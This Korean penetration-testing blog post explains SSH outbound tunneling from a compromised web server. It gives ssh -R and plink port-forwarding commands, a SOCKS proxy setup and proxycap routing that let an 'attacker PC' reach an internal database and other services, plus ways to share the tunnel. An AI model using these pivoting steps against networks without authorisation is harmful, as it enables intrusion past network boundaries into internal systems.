SSH Tunneling (OUTBOUND Tunneling)

SSH Tunneling (OUTBOUND Tunneling)

- SSH Tunneling 이란 SSH 프로토콜을 이용해 터널을 만들어 외부에서 접속할 수 없는 내부 영역에 접근할 수 있도록 해주는 기술



[ DB에만 접근할 경우(mysql) ]


- web server에서 원격 포트 포워딩

ssh -R <outbound 가능한 port>:<DB IP>:<DB PORT> <SSH IP> -l <ssh 계정명>


- 공격자PC에서 plink를 이용하여 <outbound 가능한 port(webserver)>로 로컬 포트포워딩

plink -l 3306:127.0.0.1:<outbound 가능한 port(webserver)> <SSH 계정>@<SSH IP> -pw <비밀번호>


- 127.0.0.1:3306으로 DB 연결 시도할 경우, 내부 영역의 DB에 접근 가능


[ 모든 서비스에 접근할 경우 ]


- web server에서 socks tool 사용

./socks -p9999 (default:1080 포트 열림) 



- web server에서 plink 이용하여 9999 포트로 연결

 ./plink -R <outbound 가능한 port>:127.0.0.1:99999 <SSH 계정>@<SSH IP> -pw <비밀번호>

- 공격자PC에서 plink를 이용하여 <outbound 가능한 port(웹 서버)> 로컬 포트 포워딩

 ./plink -L 55555:127.0.0.1:<outbound 가능한 port(웹 서버)> <SSH 계정>@<SSH IP> -pw <비밀번호>


- proxycap Proxies 설정




- proxycap rule 설정




- 공격자가 사용하는 모든 서비스가 SSH 터널을 통해 웹 서버에서 실행


 

[공유 방법(2개)]

① 공유받으려는 PC에서 공격자의 IP와 outbound 가능한 port(웹 서버)를 proxycap proxies 설정


② 공격자PC에서 ./plink -R 22222:127.0.0.1:port(웹 서버) [SSH 계정]@[SSH Server IP] -pw [비밀번호] 설정

    >> 공유받으려는 PC에서 plink -L 55555:127.0.0.1:22222 [SSH 계정]@[SSH Server IP] -pw [비밀번호] 실행

    >> 또는,  proxycap 설정 진행 127.0.0.1:22222 



※ proxycap을 이용하여 접근한 Website가 Burp에 잡히지 않을 경우


 


※ SSH Tunneling 시 localhost를 사용하는 것 보다 127.0.0.1 을 사용하는 것이 보다 확실하다.(서버 내에 설정이 안되어 있을 경우, localhost 사용 불가한 경우도 존재)

lsof -i -nP : 열려있는 port 확인 명령어



'Pentest > [WEB]' 카테고리의 다른 글

CUBRID Database sql Injection 예시  (0) 2020.08.28
Python AES Decrypt Code  (0) 2020.04.22
CVE-2019-17558 Apach Solr RCE 취약점  (1) 2020.04.15
TAGS.

Comments